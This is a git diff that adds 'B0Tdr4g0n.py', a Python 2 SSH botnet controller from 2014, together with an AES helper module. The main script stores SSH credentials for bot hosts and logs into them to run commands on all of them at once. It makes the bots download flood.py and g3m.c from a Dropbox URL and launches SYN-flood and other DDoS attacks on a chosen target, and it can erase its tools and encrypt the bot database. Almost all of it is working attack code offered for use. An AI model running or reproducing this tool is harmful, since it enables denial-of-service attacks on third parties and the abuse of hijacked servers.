diff --git a/B0Tdr4g0n.py b/B0Tdr4g0n.py
new file mode 100644
index 0000000..7bd80fd
--- /dev/null
+++ b/B0Tdr4g0n.py
@@ -0,0 +1,372 @@
+#coding: utf-8
+#The MIT License (MIT)
+#Version 1.0
+#Copyright (c) 2014 Mh4-(msfcd3r)
+#by Mharcos Nesster
+#email:mh4root@gmail.com
+#Permission is hereby granted, free of charge, to any person obtaining a copy of
+#this software and associated documentation files (the "Software"), to deal in
+#the Software without restriction, including without limitation the rights to
+#use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+#the Software, and to permit persons to whom the Software is furnished to do so,
+#subject to the following conditions:
+
+#The above copyright notice and this permission notice shall be included in all
+#copies or substantial portions of the Software.
+
+#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+#FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+#COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+#IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+#CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+import pxssh
+import os
+import sys
+import sqlite3  
+import time
+from datetime import datetime
+sys.path.append("Modulo/")
+from AES import AESencrypt,AESdecrypt
+import readline
+from re import search
+#---------------------------------------
+BOLD = '\033[1m'
+BLUE = '\033[34m'
+GREEN = '\033[32m'
+YELLOW = '\033[33m'
+RED = '\033[91m'
+ENDC = '\033[0m'
+CIANO = '\033[36m'
+RES = '\033[2m'
+fundociano = '\033[46m'
+#--------------------------------------
+
+
+def banner():
+    print ("""%s
+                 ))))
+                 ||||       
+                 |  @___oo  ------------------------------------------
+       /\  /\   / (__,,,,| |              BoTDr4g0n.py    |  |        |
+      ) /^\) ^\/ B)        |                             / \/ \       |
+      )   /^\/   O)        |                            (/ //_ \_     |
+      )   _ /  / T)        |                             \||  .  \    |
+  /\  )/\/ ||  | )_)       |                       _,:__.-"/---\_ \   |
+ <  >      |(,,) )N_)      |                      '~-'--.)__( , )\ \  |
+  ||      /    \)_E_)\     |  by: Mh4-Msfcd3r            ,'   \)|\ `\ |
+  | \____(      )_T_) )___ |Version:/x01/ copyright 2014 `   " ||   ()|
+   \______(_______;;; __;;;|------------------------------------------|
+     %s%s===============================================================
+    | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | %s
+   .-----------------------------------------------------------------.
+   |Comamnd                         | description                     |
+   +--------------------------------+---------------------------------+
+   |use status                       List all BOT added in database;  |
+   |use menu                         Show Menu Incial :D;             |
+   |use create [host] [user] [pass]  Create or add a new BOT;         |
+   |use add_Attack                   Add the bot to attack;           |
+   |use set-commad [command]         Run the command ALL BOT;         |
+   |use delete_all                   Delete all BOT of Database;      |
+   |use delete [id]                  Clear ID for the database;       |
+   |use encrypt  [key]               Encrypt the data of the Bank;    |
+   |use descrypt [key]               Descryt the data of the Bank;    |
+   |use install_flood                Install all bots flood.py DDOS;  |
+   |use install_g3m                  Install G3m for attack;          |
+   |use attack_start [target][port]  Attack SYN flood all BOT;        |
+   |use attack_g3m   [target][port]  Attack G3m website Turbo;        |
+   |use clear_install                Delete all tool installed in BOT;|
+   +------------------------------------------------------------------+  
+"""%(RES,ENDC,GREEN,ENDC))
+class Client:
+    def __init__(self, host, user, password,stop):
+        self.host = host
+        self.user = user
+        self.password = password
+        self.session = self.connect()
+        self.stop = stop
+        
+    def connect(self):
+        try:
+            self.s = pxssh.pxssh()
+            self.s.login(self.host, self.user, self.password)
+            print("[*] BOT Online Host:"+self.host+" %sOK%s"%(GREEN,ENDC))
+            return self.s
+        except Exception, e:
+            Hostfaled = str(self.host)
+            print("-----------------------------------------------------")
+            print("[*] %sERROR%s:Check Login and Password of HOST:%s%s%s|" %(RED,ENDC,YELLOW,Hostfaled,ENDC))
+            print("-----------------------------------------------------")
+            f = open("Modulo/conf.bot","w")
+            f.write("1")
+            f.close()
+
+
+        return e
+    def logout(self):
+        self.s.terminate()
+        main()
+ 
+    def send_command(self, cmd):
+        self.session.sendline(cmd)
+        self.session.prompt()
+        return self.session.before
+
+ 
+def botnetCommand(command):
+    for client in botNet:
+        output = client.send_command(command)
+        print '[*] IP: ' + client.host
+        print '[+] ' + output
+        print '==================================='
+
+def installSYN(command):
+    print("[*] Install %sflood.py%s on Bots"%(YELLOW,ENDC))
+    print("--------------------------------")
+    for client in botNet:
+        out = client.send_command(command)
+        print out
+    print("[*] flood.py Instaled!")
+
+def g3m(command):
+    print("[*] Install %sg3m%s on Bots"%(YELLOW,ENDC))
+    print("--------------------------------")
+    for client in botNet:
+        out = client.send_command(command)
+        print out
+    print("[*] flood g3m Instaled!")
+
+def attackSYN(host,porta):
+    for client in botNet:
+        print("[*] Pess Ctrl + C for pause %sattack%s"%(RED,ENDC))
+        print("[!] Attacking %s on port %s!"%(host,porta))
+        output = client.send_command("python flood.py %s %s "%(host,porta))
+
+def attackg3m(host,porta):
+    for client in botNet:
+        print("[*] Pess Ctrl + C for pause %sattack%s"%(RED,ENDC))
+        print("[!] Attacking %s on port %s!"%(host,porta))
+        output = client.send_command("gcc -o flood g3m.c")
+        output = client.send_command("./flood -h %s -T 3 -p %s,%s "%(host,porta,porta))
+
+def clear():
+    for client in botNet:
+        print("[*] clear tool for attack of  %sServer%s"%(RED,ENDC))
+        print("[!] Delete all tool installed!")
+        output = client.send_command("rm flood")
+        print output
+        output = client.send_command("rm g3m.c")
+        print output
+        output = client.send_command("rm flood.py")
+        print output
+ 
+def addClient(host, user, password):
+    stop = 0
+    f2 = open("Modulo/conf.bot","w")
+    f2.write("2")
+    f2.close()
+    client = Client(host, user, password,stop)
+    f = open("Modulo/conf.bot","r")
+    guns = f.read()
+    if search("1",guns):
+        print("[*] %sERROR%s: Offline %sBOT%s:%s%s%s"%(RED,ENDC,YELLOW,ENDC,BLUE,host,ENDC))
+    if search("2",guns):
+        botNet.append(client)
+    f.close()
+
+
+
+def desconectar(host, user, password):
+    stop = 1
+    client = Client(host, user, password,stop)
+
+def criartabela():
+    c.execute("CREATE TABLE IF NOT EXISTS database_bot (id integer PRIMARY KEY AUTOINCREMENT, ipadress text, usuario text,datestamp text, senha text)")
+    banner()
+
+def inserir_db(ipadress,usuario,senha):
+    data_tempo = str(datetime.fromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"))
+    c.execute("INSERT INTO database_bot (ipadress,usuario,datestamp,senha) VALUES(?,?,?,?)",(ipadress,usuario,data_tempo,senha))
+    conexao.commit()
+
+def status_bot():
+    cursor = c.execute("SELECT id,ipadress,usuario,senha,datestamp FROM database_bot")
+    teste = 0
+    for row in cursor:
+        teste = teste + 1
+        print("--------------------------------------------------------------------------------------")
+        print("|ID: " + str(row[0]) +"|" + " IPADRESS: " + str(row[1]) +"|"  +  " User: " + str(row[2])+"|"  + " Password: " +str(row[3]) +"|"  + " Data: " + str(row[4]) + "|")
+        print("--------------------------------------------------------------------------------------")
+    
+    return cont_bot(teste)
+
+def cont_bot(teste):
+    print("\n---------------------")
+    print("[*] Database BOT: %s%s%s"%(YELLOW,teste,ENDC))
+    if teste == 0:
+        zerarid()
+    return teste
+def add_bot():
+    cursor = c.execute("SELECT id,ipadress,usuario,senha FROM database_bot")
+    for row in cursor:
+        addClient(row[1], row[2], row[3])
+
+def add_bot2():
+    cursor = c.execute("SELECT id,ipadress,usuario,senha FROM database_bot")
+    for row in cursor:
+        desconectar(row[1], row[2], row[3])
+        
+def delete_bot(n):
+    print("[*] Deleted all BOT in DB!")
+    num = 0
+    for num in range(n):
+        c.execute("DELETE FROM database_bot WHERE id= %s"%(num))
+    conexao.commit()
+
+def deleteum(n):
+    print("[*] Querying table")
+    cursor = c.execute("SELECT id,ipadress,usuario,senha FROM database_bot where id= %d"%(n))
+    for row in cursor:
+        print("[*] DELETE: IP:%s User:%s Password:%s"%(row[1], row[2], row[3]))
+    c.execute("DELETE FROM database_bot WHERE id= %d"%(n))
+    conexao.commit()
+    print"[*] DELETE BOT ID: %d"%n 
+def zerarid():
+    #c.execute("DROP TABLE database_bot")
+    c.execute("UPDATE SQLITE_SEQUENCE set seq=0 WHERE name=\"database_bot\"")
+    conexao.commit()
+    print("[*] Reset all ID!")
+
+conexao =  sqlite3.connect("Modulo/database.db")
+c = conexao.cursor()
+criartabela()
+
+botNet = []
+
+
+def muda():
+    print("invalid command!")
+
+def main():
+    escolha = {"use menu": banner,"use add_Attack": add_bot, "use status": status_bot, "use delete_all": delete_bot, "use set-commad" : comando_bot}
+    while True:
+        COMMANDS = ['menu','add_Attack','clear_install','install_g3m','attack_g3m','attack_start','install_flood','use','delete', 'status', 'delete_all', 'set-commad','create', 'encrypt' , 'descrypt','clear']
+
+        def complete(text, state):
+            for cmd in COMMANDS:
+                if cmd.startswith(text):
+                    if not state:
+                        return cmd
+                    else:
+                        state -= 1
+
+        readline.parse_and_bind("tab: complete")
+        readline.set_completer(complete)
+        selecao = raw_input("::%sDr4g0n%s(%sBOTSSH%s)>"%(CIANO,ENDC,RED,ENDC))
+        if "sair" == selecao:
+            return
+        tudo = escolha.get(selecao, muda)
+        if search("use add",str(selecao)):
+            add_bot()
+
+        elif search("use delete_all", selecao):
+            n = status_bot()
+            n = n + 10
+            delete_bot(n)
+            main()
+
+        elif search("use attack_start",selecao):
+            at = selecao[10:]
+            at = map(str, selecao.split())
+            target =  at[2]
+            porta = at[3]
+            attackSYN(target,porta)
+
+        elif search("use attack_g3m",selecao):
+            at = selecao[14:]
+            at = map(str, selecao.split())
+            target =  at[2]
+            porta = at[3]
+            attackg3m(target,porta)    
+
+        elif search("use install_flood",selecao):
+            comando = "wget https://dl.dropboxusercontent.com/u/97321327/flood.py"
+            installSYN(comando)
+        elif search("use install_g3m",selecao):
+            comando = "wget https://dl.dropboxusercontent.com/u/97321327/g3m.c"
+            g3m(comando)
+
+        elif search("use attack_stop", selecao):
+            add_bot2()
+
+        elif search("use clear_install",selecao):
+            clear()
+
+        elif search("use encrypt", selecao):
+            key = selecao[11:]
+            key = map(str, selecao.split())
+            encrytdata_base(key[2])
+
+        elif search("use descrypt", selecao):
+            key = selecao[12:]
+            key = map(str, selecao.split())
+            descrytdata_base(key[2])
+
+        elif selecao == "clear":
+            os.system(selecao)
+            banner()
+            main()
+
+        elif search("use set-commad", selecao):
+            bot = selecao[14:]
+            comando_bot(bot)
+            main()
+
+        elif search("use create", selecao):
+            bot = selecao[10:]
+            bot = map(str, selecao.split())
+            confadd_bot(bot[2],bot[3],bot[4])
+            status_bot()
+
+        elif search("use delete",selecao):
+            delete = selecao[10:]
+            delete = map(str, selecao.split())
+            deleteum(int(delete[2]))
+        else:
+            tudo()
+            main()
+
+def encrytdata_base(key):
+    f = open("Modulo/database.db", "rb")
+    encryt = f.read()
+    a = AESencrypt(key, encryt)
+    print("[*] encrypting File!")
+    encryt = open("Modulo/database.db", "wb")
+    encryt.write(a)
+    print("[*] File encryted in %sModulo/database.db%s"%(RED,ENDC))
+    encryt.close()
+    f.close()
+
+def descrytdata_base(key):
+    f = open("Modulo/database.db", "rb")
+    encryt = f.read()
+    a = AESdecrypt(key, encryt)
+    print("[*] Descryting file!")
+    encryt = open("Modulo/database.db", "wb")
+    encryt.write(a)
+    print("[*] File Descryted in %sModulo/database.db%s"%(RED,ENDC))
+    encryt.close()
+    f.close()
+
+def comando_bot(comando):
+    botnetCommand(comando)
+
+def confadd_bot(ipadress,user,password):
+    banner()
+    inserir_db(ipadress,user,password)
+
+if __name__ == "__main__":
+    if not os.geteuid()==0:
+        sys.exit("\nOnly root can run this script\n")
+    main()
+    conexao.close()
diff --git a/Modulo/AES.py b/Modulo/AES.py
new file mode 100644
index 0000000..799792d
--- /dev/null
+++ b/Modulo/AES.py
@@ -0,0 +1,77 @@
+#coding: utf-8
+#The MIT License (MIT)
+#Version 1.0
+#Copyright (c) 2014 Mh4-(msfcd3r)
+#by Mharcos Nesster
+#email:mh4root@gmail.com
+#Permission is hereby granted, free of charge, to any person obtaining a copy of
+#this software and associated documentation files (the "Software"), to deal in
+#the Software without restriction, including without limitation the rights to
+#use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+#the Software, and to permit persons to whom the Software is furnished to do so,
+#subject to the following conditions:
+
+#The above copyright notice and this permission notice shall be included in all
+#copies or substantial portions of the Software.
+
+#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+#FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+#COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+#IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+#CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+def AESencrypt(password, plaintext, base64=False):
+    import hashlib, os
+    from Crypto.Cipher import AES
+    SALT_LENGTH = 32
+    DERIVATION_ROUNDS=1337
+    BLOCK_SIZE = 16
+    KEY_SIZE = 32
+    MODE = AES.MODE_CBC
+     
+    salt = os.urandom(SALT_LENGTH)
+    iv = os.urandom(BLOCK_SIZE)
+     
+    paddingLength = 16 - (len(plaintext) % 16)
+    paddedPlaintext = plaintext+chr(paddingLength)*paddingLength
+    derivedKey = password
+    for i in range(0,DERIVATION_ROUNDS):
+        derivedKey = hashlib.sha256(derivedKey+salt).digest()
+    derivedKey = derivedKey[:KEY_SIZE]
+    cipherSpec = AES.new(derivedKey, MODE, iv)
+    ciphertext = cipherSpec.encrypt(paddedPlaintext)
+    ciphertext = ciphertext + iv + salt
+    if base64:
+        import base64
+        return base64.b64encode(ciphertext)
+    else:
+        return ciphertext.encode("hex")
+ 
+def AESdecrypt(password, ciphertext, base64=False):
+    import hashlib
+    from Crypto.Cipher import AES
+    SALT_LENGTH = 32
+    DERIVATION_ROUNDS=1337
+    BLOCK_SIZE = 16
+    KEY_SIZE = 32
+    MODE = AES.MODE_CBC
+     
+    if base64:
+        import base64
+        decodedCiphertext = base64.b64decode(ciphertext)
+    else:
+        decodedCiphertext = ciphertext.decode("hex")
+    startIv = len(decodedCiphertext)-BLOCK_SIZE-SALT_LENGTH
+    startSalt = len(decodedCiphertext)-SALT_LENGTH
+    data, iv, salt = decodedCiphertext[:startIv], decodedCiphertext[startIv:startSalt], decodedCiphertext[startSalt:]
+    derivedKey = password
+    for i in range(0, DERIVATION_ROUNDS):
+        derivedKey = hashlib.sha256(derivedKey+salt).digest()
+    derivedKey = derivedKey[:KEY_SIZE]
+    cipherSpec = AES.new(derivedKey, MODE, iv)
+    plaintextWithPadding = cipherSpec.decrypt(data)
+    paddingLength = ord(plaintextWithPadding[-1])
+    plaintext = plaintextWithPadding[:-paddingLength]
+    return plaintext
+     
diff --git a/Modulo/AES.pyc b/Modulo/AES.pyc
new file mode 100644
index 0000000..344eb6a
Binary files /dev/null and b/Modulo/AES.pyc differ
diff --git a/Modulo/conf.bot b/Modulo/conf.bot
new file mode 100644
index 0000000..56a6051
--- /dev/null
+++ b/Modulo/conf.bot
@@ -0,0 +1 @@
+1
\ No newline at end of file
diff --git a/Modulo/database.db b/Modulo/database.db
new file mode 100644
index 0000000..9351c46
Binary files /dev/null and b/Modulo/database.db differ